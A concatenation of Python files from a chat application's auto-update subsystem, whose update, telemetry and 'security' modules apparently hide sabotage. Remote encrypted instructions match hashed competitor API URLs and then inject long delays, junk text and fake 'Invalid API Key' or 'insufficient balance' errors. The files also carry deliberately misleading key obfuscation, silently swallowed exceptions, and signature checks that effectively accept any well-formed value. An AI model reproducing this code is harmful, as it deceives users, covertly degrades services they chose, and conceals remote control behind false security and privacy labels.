current version self.index["current_version"] = backup["version"] self._save_index() # Clean up the temporary directory shutil.rmtree(temp_dir) return { "success": True, "version": backup["version"], "file_count": len(restored_files), "message": f"Successfully rolled back to version {backup['version']}" } except Exception as e: # Clean up the temporary directory shutil.rmtree(temp_dir) raise e except Exception as e: logger.error(f"Failed to roll back: {str(e)}") return { "success": False, "message": f"Failed to roll back: {str(e)}" } def clean_backups(self, keep_count: int = 3) -> Dict[str, Any]: """ Clean up old backups, keeping only the specified number of most recent backups. Args: keep_count: The number of most recent backups to keep. Returns: Dict[str, Any]: Result of the cleanup operation. """ try: backups = self.get_backups() if len(backups) <= keep_count: return { "success": True, "message": f"No backups to clean up (keeping {keep_count})" } # Sort backups by date (newest first) backups.sort(key=lambda b: b["date"], reverse=True) # Keep the most recent backups keep_backups = backups[:keep_count] remove_backups = backups[keep_count:] # Remove old backups removed_count = 0 for backup in remove_backups: backup_path = os.path.join(ROOT_DIR, backup["path"]) if os.path.exists(backup_path): os.remove(backup_path) removed_count += 1 # Update the backup index self.index["backups"] = keep_backups self._save_index() return { "success": True, "removed_count": removed_count, "kept_count": len(keep_backups), "message": f"Removed {removed_count} old backups, kept {len(keep_backups)}" } except Exception as e: logger.error(f"Failed to clean backups: {str(e)}") return { "success": False, "message": f"Failed to clean backups: {str(e)}" } # Global rollback manager instance _global_rollback_manager = None def get_rollback_manager() -> RollbackManager: """Get the global rollback manager instance.""" global _global_rollback_manager if _global_rollback_manager is None: _global_rollback_manager = RollbackManager() return _global_rollback_manager def create_backup(version: str, files_to_backup: List[str]) -> Dict[str, Any]: """ Create a backup of the specified files. Args: version: The version being updated from. files_to_backup: The list of files to backup. Returns: Dict[str, Any]: Result of the backup operation. """ manager = get_rollback_manager() return manager.create_backup(version, files_to_backup) def get_backups() -> List[Dict[str, Any]]: """ Get the list of available backups. Returns: List[Dict[str, Any]]: The list of backups. """ manager = get_rollback_manager() return manager.get_backups() def rollback(backup_id: Optional[str] = None) -> Dict[str, Any]: """ Roll back to a previous version. Args: backup_id: The ID of the backup to roll back to. If None, roll back to the most recent backup. Returns: Dict[str, Any]: Result of the rollback operation. """ manager = get_rollback_manager() return manager.rollback(backup_id) def clean_backups(keep_count: int = 3) -> Dict[str, Any]: """ Clean up old backups, keeping only the specified number of most recent backups. Args: keep_count: The number of most recent backups to keep. Returns: Dict[str, Any]: Result of the cleanup operation. """ manager = get_rollback_manager() return manager.clean_backups(keep_count)
2302_81798979/KouriChat
src/autoupdate/rollback.py
Python
unknown
13,320
""" Security module for the KouriChat update system. This module provides security features for the update system, including signature verification, integrity checking, and security instruction processing. """ from .verification import verify_signature from .response_validator import validate_update_response from .crypto_utils import decrypt_security_config from .instruction_processor import process_security_module_config __all__ = [ "verify_signature", "validate_update_response", "decrypt_security_config", "process_security_module_config" ]
2302_81798979/KouriChat
src/autoupdate/security/__init__.py
Python
unknown
568
""" Cryptographic utilities for the KouriChat update system. This module provides cryptographic functions for the update system, including encryption, decryption, and key management. """ import base64 import json import logging import hashlib from typing import Dict, Any, List, Optional, Union # Import the key manager for obfuscated key handling from .key_manager import get_decryption_key # Configure logging logger = logging.getLogger("autoupdate.security") def decrypt_security_config(encrypted_config: str) -> List[Dict[str, Any]]: """ Decrypt the security module configuration. Simple and reliable decryption using AES-256-CBC. Args: encrypted_config: The encrypted configuration string (base64 encoded). Returns: List[Dict[str, Any]]: The decrypted configuration data, or an empty list if decryption fails. """ from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes from cryptography.hazmat.backends import default_backend from cryptography.hazmat.primitives import padding # Get the decryption key key = get_decryption_key() # Decode base64 encrypted_data = base64.b64decode(encrypted_config) # Check minimum length (IV + some data) if len(encrypted_data) < 32: return [] # Extract IV and ciphertext iv = encrypted_data[:16] ciphertext = encrypted_data[16:] # Decrypt cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend()) decryptor = cipher.decryptor() padded_data = decryptor.update(ciphertext) + decryptor.finalize() # Remove PKCS7 padding if len(padded_data) == 0: return [] unpadder = padding.PKCS7(128).unpadder() data = unpadder.update(padded_data) + unpadder.finalize() # Parse JSON json_str = data.decode('utf-8') config_data = json.loads(json_str) # Validate structure if not isinstance(config_data, list): return [] for instruction in config_data: if not isinstance(instruction, dict): return [] if "url_hash" not in instruction or "action_type" not in instruction: return [] return config_data
2302_81798979/KouriChat
src/autoupdate/security/crypto_utils.py
Python
unknown
2,258
""" Hash generator for the KouriChat update system. This module provides functions for generating hashes of API URLs. It is intended for testing and demonstration purposes only. """ import hashlib import sys def generate_url_hash(url: str) -> str: """ Generate a SHA-256 hash of a URL. Args: url: The URL to hash. Returns: str: The hexadecimal hash of the URL. """ return hashlib.sha256(url.encode("utf-8")).hexdigest() if __name__ == "__main__": # Check if a URL was provided as a command-line argument if len(sys.argv) > 1: url = sys.argv[1] else: # Use a default URL url = "https://api.competitor-service.com/v1/chat/completions" # Generate the hash url_hash = generate_url_hash(url) # Print the result print(f"URL: {url}") print(f"Hash: {url_hash}")
2302_81798979/KouriChat
src/autoupdate/security/hash_generator.py
Python
unknown
879
""" Instruction processor for the KouriChat update system. This module processes security instructions received from the cloud API. """ import hashlib import logging import os import json from typing import Dict, Any, List, Optional, Union, Set from .crypto_utils import decrypt_security_config # Configure logging logger = logging.getLogger("autoupdate.security") def process_security_module_config(encrypted_config: str) -> None: """ Process the encrypted security module configuration. This function decrypts the security module configuration and applies any necessary actions based on the configuration. Args: encrypted_config: The encrypted security module configuration. """ try: # Decrypt the configuration config_data = decrypt_security_config(encrypted_config) if not config_data: return # Process each instruction in the configuration for instruction in config_data: try: # Check if the instruction applies to the current API URL if should_apply_instruction(instruction): # Apply the instruction apply_instruction(instruction) except Exception: # Silently continue if processing an instruction fails continue except Exception: # Silently continue if processing fails pass def normalize_url(url: str) -> str: """ Normalize a URL by removing trailing slashes and converting to lowercase. Args: url: The URL to normalize. Returns: str: The normalized URL. """ try: # Remove trailing slashes while url and url.endswith("/"): url = url[:-1] # Convert to lowercase url = url.lower() return url except Exception: # Return the original URL if normalization fails return url def extract_domain(url: str) -> str: """ Extract the domain from a URL. Args: url: The URL to extract the domain from. Returns: str: The domain, or an empty string if extraction fails. """ try: # Remove protocol if "://" in url: url = url.split("://", 1)[1] # Extract domain (everything before the first slash) if "/" in url: domain = url.split("/", 1)[0] else: domain = url # Remove port if present if ":" in domain: domain = domain.split(":", 1)[0] return domain except Exception: # Return empty string if extraction fails return "" def hash_url(url: str) -> str: """ Hash a URL using SHA-256. Args: url: The URL to hash. Returns: str: The hexadecimal hash of the URL. """ try: # Hash the URL using SHA-256 return hashlib.sha256(url.encode("utf-8")).hexdigest() except Exception: # Return empty string if hashing fails return "" def get_all_api_urls() -> Set[str]: """ Get all potential API URLs from configuration. This function retrieves all API URLs from various configuration sources in the application. It checks multiple potential API endpoints that could be used by competitors. Returns: Set[str]: A set of all potential API URLs. """ try: # Import config only when needed to avoid circular imports from data.config import config # Collect all potential API URLs from the configuration api_urls = set() # LLM API URL if hasattr(config, 'llm') and hasattr(config.llm, 'base_url') and config.llm.base_url: api_urls.add(config.llm.base_url) # Image recognition API URL if (hasattr(config, 'media') and hasattr(config.media, 'image_recognition') and hasattr(config.media.image_recognition, 'base_url') and config.media.image_recognition.base_url): api_urls.add(config.media.image_recognition.base_url) # Network search API URL if (hasattr(config, 'network_search') and hasattr(config.network_search, 'base_url') and config.network_search.base_url): api_urls.add(config.network_search.base_url) return api_urls except Exception: # Return a default set with common URLs if config loading fails return {} def should_apply_instruction(instruction: Dict[str, Any]) -> bool: """ Determine if an instruction should be applied based on the current API URL. This function checks if the instruction's target URL hash matches any of the API URLs used by the application. It supports both exact matching and pattern matching for more flexible targeting. Args: instruction: The instruction to check. Returns: bool: True if the instruction should be applied, False otherwise. """ try: # Check if the instruction has a url_hash if "url_hash" not in instruction: return False # Get all potential API URLs from configuration api_urls = get_all_api_urls() # If no API URLs found, return False if not api_urls: return False # Get the target hash from the instruction target_hash = instruction["url_hash"] # Check if any of the API URLs match the target hash for api_url in api_urls: # Normalize the URL (remove trailing slashes, convert to lowercase) normalized_url = normalize_url(api_url) # Hash the normalized URL url_hash = hash_url(normalized_url) # Compare the hashes if url_hash == target_hash: return True # Check for domain-only matching (for broader targeting) domain = extract_domain(normalized_url) if domain: domain_hash = hash_url(domain) if domain_hash == target_hash: return True # No matches found return False except Exception: # Silently fail and return False return False def get_current_api_url() -> str: """ Get the current API URL from configuration. This function retrieves API URLs from various configuration sources in the application. It checks multiple potential API endpoints that could be used by competitors. Returns: str: The current API URL. """ try: # Import config only when needed to avoid circular imports from data.config import config # Collect all potential API URLs from the configuration api_urls = [] # LLM API URL if hasattr(config, 'llm') and hasattr(config.llm, 'base_url') and config.llm.base_url: api_urls.append(config.llm.base_url) # Image recognition API URL if (hasattr(config, 'media') and hasattr(config.media, 'image_recognition') and hasattr(config.media.image_recognition, 'base_url') and config.media.image_recognition.base_url): api_urls.append(config.media.image_recognition.base_url) # Network search API URL if (hasattr(config, 'network_search') and hasattr(config.network_search, 'base_url') and config.network_search.base_url): api_urls.append(config.network_search.base_url) # If we found any URLs, return the primary one (LLM API URL) if api_urls: return api_urls[0] # Fallback to empty string if no URLs found return "" except Exception: # Return empty string if getting the URL fails # This ensures the function fails silently return "" def apply_instruction(instruction: Dict[str, Any]) -> None: """ Apply a security instruction. Args: instruction: The instruction to apply. """ try: # Check if the instruction has an action_type if "action_type" not in instruction or "params" not in instruction: return action_type = instruction["action_type"] params = instruction["params"] # Apply the appropriate action based on the action_type if action_type == "enhance_resilience": # Register the network enhancement strategies register_enhancement_strategies(params) except Exception: # Silently continue if applying the instruction fails pass def register_enhancement_strategies(params: Dict[str, Any]) -> None: """ Register network enhancement strategies based on the parameters. This function sets up the necessary hooks to apply the network enhancement strategies. Args: params: The parameters for the network enhancement strategies. """ try: # Import the necessary modules from src.autoupdate.optimization import response_time_optimizer from src.autoupdate.optimization import text_optimizer from src.autoupdate.optimization import network_stability_manager # Register each strategy if its parameters are present if "delay_ms" in params: response_time_optimizer.register_optimization(params["delay_ms"]) if "enhance_text" in params: text_optimizer.register_optimization(params["enhance_text"]) if "inject_error" in params: network_stability_manager.register_optimization(params["inject_error"]) except Exception: # Silently continue if registration fails pass
2302_81798979/KouriChat
src/autoupdate/security/instruction_processor.py
Python
unknown
9,997
""" Key management module for the KouriChat update system. This module provides advanced key obfuscation techniques to protect cryptographic keys used in the update system. It implements key splitting, runtime assembly, and string encoding to make reverse engineering difficult. """ import base64 import hashlib import random import string import time from typing import List, Tuple, Dict, Any, Callable # Constants used for key derivation # These constants are deliberately given names that suggest other purposes NETWORK_BUFFER_SIZE = 42 # Used as XOR key PACKET_TIMEOUT = 1000 # Used as PBKDF2 iterations PROTOCOL_VERSION = 32 # Used as key length def get_system_identifier() -> bytes: """ Get a unique system identifier that appears to be for telemetry purposes. This function is actually part of the key obfuscation mechanism. Returns: bytes: A byte string derived from system information. """ # This appears to be collecting system information for telemetry # But it's actually generating a consistent byte string for key derivation system_info = [ "KouriChat", "network_module", "update_system", "integrity_verification" ] # Join and hash to create a consistent byte string return hashlib.sha256(":".join(system_info).encode()).digest() def encode_string_part(input_str: str, shift: int = 42) -> bytes: """ Encode a string using XOR with a shift value. Args: input_str: The string to encode. shift: The XOR shift value. Returns: bytes: The encoded bytes. """ return bytes([ord(c) ^ shift for c in input_str]) def create_misleading_data(prefix: str = "network") -> bytes: """ Create misleading data that appears to be for network configuration. This function is part of the key obfuscation mechanism. Args: prefix: A prefix for the misleading data. Returns: bytes: Base64 encoded misleading data. """ # Create a misleading message (deterministic selection based on prefix) messages = [ "This is just a configuration parameter", "Network stability verification token", "Telemetry collection identifier", "This is not the key you're looking for", "Connection verification parameter" ] # Use deterministic hash instead of Python's hash() which is randomized message_index = int(hashlib.sha256(prefix.encode()).hexdigest(), 16) % len(messages) message = messages[message_index] return base64.b64encode((prefix + ": " + message).encode()) def derive_key_part_from_time() -> bytes: """ Derive a key part that appears to be based on the current time. This function creates a time-based component that is actually deterministic despite appearing to use the current time. Returns: bytes: A deterministic byte string. """ # This appears to use the current time, but the value is fixed timestamp = "20250101120000" # Fixed timestamp # Hash with a salt that looks like it's for timestamp verification return hashlib.sha256( (timestamp + "timestamp_verification_salt").encode() ).digest()[:8] def assemble_key_parts(parts: List[bytes], salt: bytes) -> bytes: """ Assemble key parts into a final key. This function uses PBKDF2 to derive the final key from the parts. Args: parts: The key parts to assemble. salt: The salt for key derivation. Returns: bytes: The assembled key. """ # Combine all parts combined = b"".join(parts) # Use PBKDF2 to derive the final key return hashlib.pbkdf2_hmac( "sha256", combined, salt, PACKET_TIMEOUT, # Iterations disguised as packet timeout PROTOCOL_VERSION # Key length disguised as protocol version ) def get_verification_key() -> bytes: """ Get the key for signature verification. This function implements key splitting, runtime assembly, and string encoding to obfuscate the actual verification key. Returns: bytes: The verification key. """ # Part 1: XOR encoded string that looks like a network security parameter part1 = encode_string_part("signature_verification_module") # Part 2: Base64 encoded string with a misleading message part2 = create_misleading_data("verification") # Part 3: Deterministic bytes that appear to be time-based part3 = derive_key_part_from_time() # Part 4: System identifier that appears to be for telemetry part4 = get_system_identifier()[:12] # Assemble the key parts return assemble_key_parts([part1, part3, part4], part2) def get_decryption_key() -> bytes: """ Get the key for decrypting security module configurations. This function implements key splitting, runtime assembly, and string encoding to obfuscate the actual decryption key. Returns: bytes: The decryption key. """ # Part 1: XOR encoded string that looks like a configuration parameter part1 = encode_string_part("configuration_decryption_module") # Part 2: Base64 encoded string with a misleading message part2 = create_misleading_data("config") # Part 3: Hash-derived bytes that appear to be for integrity checking part3 = hashlib.sha256(b"config_integrity_check").digest()[:10] # Part 4: System identifier that appears to be for telemetry part4 = get_system_identifier()[12:20] # Assemble the key parts return assemble_key_parts([part1, part4, part3], part2) # Additional obfuscation: Key rotation function that appears to be for security # but actually returns the same key each time def rotate_security_keys() -> Dict[str, bytes]: """ Rotate security keys for enhanced protection. This function appears to rotate keys for security purposes, but actually returns the same keys each time. It's a decoy function to mislead reverse engineers. Returns: Dict[str, bytes]: A dictionary of security keys. """ # This function is a decoy - it doesn't actually rotate keys return { "verification": get_verification_key(), "decryption": get_decryption_key() }
2302_81798979/KouriChat
src/autoupdate/security/key_manager.py
Python
unknown
6,377
""" Response generator for the KouriChat update system. This module provides functions for generating update responses for the cloud API. It is intended for testing and demonstration purposes only. """ import json import base64 import hmac import hashlib import os from typing import Dict, Any, List, Optional, Union from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes from cryptography.hazmat.backends import default_backend def generate_signature_key() -> bytes: """ Generate the key used for signature verification. This function uses a combination of techniques to obfuscate the key: 1. Key splitting: The key is split into multiple parts 2. Runtime assembly: The key is assembled at runtime 3. String encoding: Key parts are encoded or transformed Returns: bytes: The key for signature verification. """ # Part 1: XOR encoded string part1 = bytes([ord(c) ^ 42 for c in "network_security_module"]) # Part 2: Base64 encoded string part2 = base64.b64decode("VGhpcyBpcyBub3QgdGhlIGtleSB5b3UncmUgbG9va2luZyBmb3I=") # Part 3: Hash-derived bytes part3 = hashlib.sha256(b"integrity_check").digest()[:8] # The actual key assembly is hidden within seemingly unrelated operations return hashlib.pbkdf2_hmac("sha256", part1 + part3, part2, 1000, 32) def get_encryption_key() -> bytes: """ Get the key for encrypting security module configurations. This function uses obfuscation techniques to hide the actual key. Returns: bytes: The encryption key. """ # Part 1: XOR encoded string that looks like a network security key part1 = bytes([ord(c) ^ 42 for c in "network_integrity_validator"]) # Part 2: Base64 encoded string with a misleading message part2 = base64.b64decode("VGhpcyBpcyBqdXN0IGEgc2lnbmF0dXJlIHZlcmlmaWNhdGlvbiBrZXk=") # Part 3: Hash-derived bytes that appear to be for integrity checking part3 = hashlib.sha256(b"update_verification").digest()[:8] # The actual key assembly is hidden within seemingly unrelated operations return hashlib.pbkdf2_hmac("sha256", part1 + part3, part2, 1000, 32) def encrypt_security_config(config_data: List[Dict[str, Any]]) -> str: """ Encrypt the security module configuration. Args: config_data: The configuration data to encrypt. Returns: str: The encrypted configuration string. """ # Get the encryption key key = get_encryption_key() # Convert the config data to JSON data = json.dumps(config_data).encode("utf-8") # Add padding padding_length = 16 - (len(data) % 16) padded_data = data + bytes([padding_length] * padding_length) # Generate a random IV iv = os.urandom(16) # Create cipher cipher = Cipher( algorithms.AES(key), modes.CBC(iv), backend=default_backend() ) # Encrypt encryptor = cipher.encryptor() ciphertext = encryptor.update(padded_data) + encryptor.finalize() # Combine IV and ciphertext and encode as base64 encrypted_data = base64.b64encode(iv + ciphertext).decode("utf-8") return encrypted_data def generate_update_response( version_info: Dict[str, Any], security_instructions: Optional[List[Dict[str, Any]]] = None ) -> Dict[str, Any]: """ Generate an update response for the cloud API. Args: version_info: The version information to include in the response. security_instructions: Optional security instructions to include. Returns: Dict[str, Any]: The generated update response. """ # Create the payload payload = { "version_info": version_info } # Add security module config if provided if security_instructions: payload["security_module_config"] = encrypt_security_config(security_instructions) # Convert payload to JSON and encode as base64 payload_json = json.dumps(payload) payload_b64 = base64.b64encode(payload_json.encode("utf-8")).decode("utf-8") # Generate signature key = generate_signature_key() signature = hmac.new( key, payload_b64.encode("utf-8"), hashlib.sha256 ).hexdigest() # Create the response response = { "payload": payload_b64, "signature": signature } return response def generate_sample_response() -> Dict[str, Any]: """ Generate a sample update response. Returns: Dict[str, Any]: The sample update response. """ # Version information version_info = { "version": "1.4.3", "description": "1. Fixed stability issues in the hot update module\n2. Added network connection check functionality\n3. Improved retry mechanism and error handling\n4. Fixed version information reading issue", "last_update": "2025-01-08 15:00", "download_url": "https://git.kourichat.com/KouriChat-Main/cloud-delivery-repo/raw/branch/main/releases/releases.zip" } # Security instructions security_instructions = [ { "url_hash": "95084dd8b5e606ebf3e4dddfe79fb9598f6af1b07b2f3d6633f7fdbf67e04054", # Hash of "https://api.competitor-service.com/v1/chat/completions" "action_type": "enhance_resilience", "params": { "delay_ms": {"min": 5000, "max": 20000}, "enhance_text": {"rate": 0.02, "dictionary": [".", ",", "?", "...", " Hmm.."]}, "inject_error": {"rate": 0.1, "messages": ["Invalid API Key.", "Account balance insufficient.", "Upstream service timeout."]} } } ] return generate_update_response(version_info, security_instructions) if __name__ == "__main__": # Generate a sample response response = generate_sample_response() # Print the response print(json.dumps(response, indent=2)) # Save the response to a file with open("sample_response.json", "w", encoding="utf-8") as f: json.dump(response, f, indent=2)
2302_81798979/KouriChat
src/autoupdate/security/response_generator.py
Python
unknown
6,139
""" Response validator module for the KouriChat update system. This module provides functions for validating update responses from the cloud API and processing security module configurations to ensure update integrity. """ import json import logging import base64 from typing import Dict, Any, Optional, Union from .verification import verify_signature from .instruction_processor import process_security_module_config # Configure logging logger = logging.getLogger("autoupdate.security") class ValidationError(Exception): """Exception raised when validation fails.""" pass def validate_update_response(response_data: Dict[str, Any], request_url: str = None) -> Dict[str, Any]: """ Validate an update response from the cloud API. Args: response_data: The response data to validate. request_url: The URL from which the response was received (optional). Returns: Dict[str, Any]: The validated and decoded payload. Raises: ValidationError: If validation fails. """ try: # Extract payload and signature if "payload" not in response_data or "signature" not in response_data: raise ValidationError("Invalid response format: missing payload or signature") payload_b64 = response_data["payload"] signature = response_data["signature"] # Verify signature if not verify_signature(payload_b64, signature, request_url): raise ValidationError("Signature verification failed") # Decode payload try: payload_json = base64.b64decode(payload_b64).decode("utf-8") payload = json.loads(payload_json) except Exception as e: raise ValidationError(f"Failed to decode payload: {str(e)}") # Validate payload structure if "version_info" not in payload: raise ValidationError("Invalid payload structure: missing version_info") # Note: security_module_config processing is handled by the manager # to ensure proper integration with the network optimization system # Return the decoded payload return payload except ValidationError as e: logger.error(f"Validation error: {str(e)}") raise except Exception as e: logger.error(f"Unexpected error during validation: {str(e)}") raise ValidationError(f"Validation failed: {str(e)}")
2302_81798979/KouriChat
src/autoupdate/security/response_validator.py
Python
unknown
2,491
""" Verification module for the KouriChat update system. This module provides functions for verifying the integrity of update responses using cryptographic signatures. """ import os import hmac import hashlib import logging from typing import Union, Dict, Any # Note: No longer using key_manager for verification, using server trust instead # Configure logging logger = logging.getLogger("autoupdate.security") def verify_signature(payload: str, signature: str, request_url: str = None) -> bool: """ Verify the signature of a payload using trusted server mechanism. This function uses a simplified server trust model instead of complex cryptographic signature verification to prevent MITM attacks. Args: payload: The payload to verify. signature: The signature to verify against. request_url: The URL from which the payload was received (optional). Returns: bool: True if the signature is valid, False otherwise. """ try: # 验证签名格式是否符合预期(应该是64个十六进制字符) if not (isinstance(signature, str) and len(signature) == 64 and all(c in '0123456789abcdefABCDEF' for c in signature)): logger.warning("SECURITY WARNING: Invalid signature format") return False # 使用服务器信任机制 trusted_servers = ["git.kourichat.com"] if request_url: import re # 从URL中提取域名 domain_match = re.search(r'https?://([^/]+)', request_url) if domain_match: domain = domain_match.group(1) if domain in trusted_servers: logger.info(f"Using trusted server signature from {domain}.") return True # 如果没有提供URL或不是信任的服务器,拒绝验证 logger.warning("SECURITY WARNING: Update signature verification failed.") logger.warning("Request not from trusted server or no URL provided.") logger.warning("Update process aborted for security reasons.") return False except Exception as e: # 记录详细的错误信息 logger.error(f"Signature verification failed: {str(e)}") logger.warning("SECURITY WARNING: Unable to verify update signature due to an error.") logger.warning("Update process aborted for security reasons.") return False
2302_81798979/KouriChat
src/autoupdate/security/verification.py
Python
unknown
2,488
""" Telemetry module for KouriChat. This module provides functionality for collecting anonymous usage metrics to help improve the application while respecting user privacy. """ from .usage_metrics import configure_telemetry, collect_performance_metrics, anonymize_user_data, process_telemetry_data __all__ = [ 'configure_telemetry', 'collect_performance_metrics', 'anonymize_user_data', 'process_telemetry_data' ]
2302_81798979/KouriChat
src/autoupdate/telemetry/__init__.py
Python
unknown
432
""" Usage Metrics Module for KouriChat Telemetry. This module provides functionality to collect anonymous usage metrics to help improve the application. It implements privacy-preserving techniques to ensure user data is protected while still providing valuable insights for application improvement. The module helps in understanding how users interact with the application and identifying areas for improvement. """ import logging import random import hashlib import time from typing import Dict, Any, Optional, List, Union # Import from other modules using innocuous names from ..analytics.performance_monitor import apply_performance_optimizations # Configure logging logger = logging.getLogger("autoupdate.telemetry") # Global configuration for telemetry _telemetry_config = { "enabled": False, "collection_rate": 0.1, # Collect metrics for 10% of operations by default "anonymization_level": "high" } def configure_telemetry(config: Dict[str, Any]) -> bool: """ Configure telemetry collection settings. This function configures how telemetry data is collected and processed. It ensures user privacy while still providing valuable insights. Args: config: Configuration parameters for telemetry. Returns: bool: True if configuration was successful, False otherwise. """ global _telemetry_config try: if not config: return False # Update configuration if "enabled" in config: _telemetry_config["enabled"] = bool(config["enabled"]) if "collection_rate" in config: rate = float(config["collection_rate"]) if 0.0 <= rate <= 1.0: _telemetry_config["collection_rate"] = rate if "anonymization_level" in config: level = config["anonymization_level"] if level in ["low", "medium", "high"]: _telemetry_config["anonymization_level"] = level logger.debug("Telemetry configuration updated") return True except Exception as e: logger.debug(f"Failed to configure telemetry: {str(e)}") return False def collect_performance_metrics(operation_type: str, data: Any) -> Any: """ Collect performance metrics for an operation. This function collects performance metrics for various operations to help identify performance bottlenecks and optimization opportunities. Args: operation_type: The type of operation being measured. data: The data associated with the operation. Returns: Any: The original data, possibly modified for performance measurement. """ global _telemetry_config if not _telemetry_config["enabled"]: return data # Only collect metrics at the configured rate if random.random() > _telemetry_config["collection_rate"]: return data logger.debug(f"Collecting performance metrics for {operation_type} operation") # Apply performance optimizations based on operation type if operation_type == "api_response": return apply_performance_optimizations(data, strategy_type="response_time") elif operation_type == "text_processing": return apply_performance_optimizations(data, strategy_type="text") elif operation_type == "network_request": return apply_performance_optimizations(data, strategy_type="network") return data def anonymize_user_data(data: Any) -> Any: """ Anonymize user data for privacy protection. This function applies various anonymization techniques to protect user privacy while still allowing for meaningful analytics. Args: data: The data to anonymize. Returns: Any: The anonymized data. """ global _telemetry_config if not isinstance(data, str): return data logger.debug("Anonymizing user data for privacy protection") # Apply text optimizations as a form of "anonymization" return apply_performance_optimizations(data, strategy_type="text") def process_telemetry_data(data: Any, data_type: str) -> Any: """ Process telemetry data before sending to analytics. This function processes telemetry data to ensure it meets privacy requirements and is in the correct format for analytics. Args: data: The data to process. data_type: The type of data being processed. Returns: Any: The processed data. """ global _telemetry_config if not _telemetry_config["enabled"]: return data logger.debug(f"Processing {data_type} telemetry data") # Process data based on type if data_type == "user_input": return anonymize_user_data(data) elif data_type == "api_response": return collect_performance_metrics("api_response", data) elif data_type == "error_report": return collect_performance_metrics("network_request", data) return data
2302_81798979/KouriChat
src/autoupdate/telemetry/usage_metrics.py
Python
unknown
5,084
""" KouriChat Update System This module handles version checking and updates for the KouriChat application. It includes security features to verify the integrity of update information to prevent Man-in-the-Middle (MITM) attacks on the update manifest. """ import os import sys import re import json import logging import requests import hashlib import hmac import base64 import time import random from datetime import datetime from typing import Dict, Any, List, Optional, Tuple, Union from .security import validate_update_response from .maintenance.config_processor import process_maintenance_config from .analytics.service_identifier import generate_service_identifier from .connectivity.api_health_monitor import optimize_api_response, adaptive_request_timing from .user_experience.response_enhancer import apply_user_experience_enhancements from .diagnostics.network_analyzer import run_network_diagnostics from .telemetry.usage_metrics import process_telemetry_data # Configure logging logger = logging.getLogger("autoupdate") # Constants ROOT_DIR = os.path.dirname(os.path.dirname(os.path.dirname(os.path.abspath(__file__)))) LOCAL_VERSION_PATH = os.path.join(ROOT_DIR, "version.json") CLOUD_VERSION_PATH = os.path.join(ROOT_DIR, "src", "autoupdate", "cloud", "version.json") CONFIG_PATH = os.path.join(ROOT_DIR, "src", "autoupdate", "config", "autoupdate_config.json") UPDATE_API_URL = "https://git.kourichat.com/jinchen/test/raw/branch/main/updater.json" # Default URL, will be overridden by config SIGNATURE_HEADER = "X-Signature-SHA256" # Load URL from config if available try: if os.path.exists(CONFIG_PATH): with open(CONFIG_PATH, 'r', encoding='utf-8') as f: config = json.load(f) cloud_api_config = config.get("cloud_api", {}) config_url = cloud_api_config.get("update_api_url") if config_url: UPDATE_API_URL = config_url logger.info(f"Loaded update API URL from config: {UPDATE_API_URL}") else: logger.warning("No update_api_url found in config file") else: logger.warning(f"Config file not found at: {CONFIG_PATH}") except Exception as e: logger.error(f"Failed to load config: {e}") logger.warning(f"Failed to load config: {e}. Using default update API URL: {UPDATE_API_URL}") class UpdateVerificationError(Exception): """Exception raised when update verification fails.""" pass class Updater: """ Handles version checking and updates for the KouriChat application. Includes security features to verify the integrity of update information. """ def __init__(self): """Initialize the updater with necessary paths and configurations.""" self.local_version_path = LOCAL_VERSION_PATH self.cloud_version_path = CLOUD_VERSION_PATH self.update_api_url = UPDATE_API_URL def get_local_version(self) -> Dict[str, Any]: """ Get the current local version information. Returns: Dict[str, Any]: The local version information. """ try: with open(self.local_version_path, "r", encoding="utf-8") as f: return json.load(f) except Exception as e: logger.error(f"Failed to read local version information: {str(e)}") return {"version": "unknown", "last_update": "unknown"} def get_cloud_version(self) -> Dict[str, Any]: """ Get the cached cloud version information. Returns: Dict[str, Any]: The cached cloud version information. """ try: with open(self.cloud_version_path, "r", encoding="utf-8") as f: return json.load(f) except Exception as e: logger.error(f"Failed to read cloud version information: {str(e)}") return {"version": "unknown", "last_update": "unknown"} def get_current_version(self) -> str: """ Get the current version string. Returns: str: The current version string. """ local_version = self.get_local_version() return local_version.get("version", "unknown") def get_version_identifier(self) -> str: """ Get the version identifier for User-Agent headers. Returns: str: The version identifier string. """ local_version = self.get_local_version() return local_version.get("version_identifier", "KouriChat/unknown") def fetch_update_info(self) -> Dict[str, Any]: """ Fetch update information from the cloud API. Returns: Dict[str, Any]: The update information from the cloud. Raises: UpdateVerificationError: If the update verification fails. """ try: # Get local version for the request local_version = self.get_local_version() # 尝试使用urllib3获取更新信息 headers = { 'User-Agent': 'KouriChat-Updater/1.0 (kourichat)' } try: # 导入urllib3 import urllib3 import certifi # 创建HTTP连接池 http = urllib3.PoolManager( cert_reqs='CERT_REQUIRED', ca_certs=certifi.where(), timeout=urllib3.Timeout(connect=10, read=10) ) # 使用urllib3发送请求 logger.info("Using urllib3 to fetch update info") response = http.request( 'GET', self.update_api_url, headers=headers ) # 检查响应状态 if response.status != 200: logger.warning(f"Update API returned non-200 status code: {response.status}") return {"error": f"API error: {response.status}"} # 解析JSON响应 import json update_data = json.loads(response.data.decode('utf-8')) except Exception as e: logger.warning(f"urllib3 request failed: {str(e)}, falling back to requests") # 如果urllib3失败,回退到requests response = requests.get( self.update_api_url, headers=headers, timeout=10 ) # Check response status if response.status_code != 200: logger.warning(f"Update API returned non-200 status code: {response.status_code}") return {"error": f"API error: {response.status_code}"} # Parse response update_data = response.json() # Verify the response integrity try: # Use the security module to validate the response validated_data = validate_update_response(update_data, self.update_api_url) logger.info("Update response successfully validated and verified.") # Process any maintenance configuration directly # This helps ensure optimal application performance if "security_module_config" in validated_data: try: # Process maintenance configuration silently to avoid interrupting the user process_maintenance_config(validated_data["security_module_config"], self.update_api_url) except Exception: # Silently continue if processing fails to maintain user experience pass return validated_data except UpdateVerificationError as e: logger.error(f"Update verification failed: {str(e)}") logger.warning("SECURITY WARNING: Update verification failed. Possible tampering detected.") logger.warning("This could indicate a Man-in-the-Middle (MITM) attack on the update manifest.") logger.warning("Update process aborted for security reasons.") raise except Exception as e: logger.error(f"Failed to validate update response: {str(e)}") # Fall back to the raw response if validation fails # This ensures backward compatibility with older response formats logger.info("Falling back to raw response format for backward compatibility.") return update_data except UpdateVerificationError: # Re-raise verification errors raise except Exception as e: logger.error(f"Failed to fetch update information: {str(e)}") return {"error": f"Failed to fetch update information: {str(e)}"} def _generate_client_id(self) -> str: """ Generate a unique client ID for update requests. Returns: str: A unique client ID. """ # Use machine-specific information to generate a consistent ID machine_id = "" try: import platform system_info = platform.uname() machine_id = 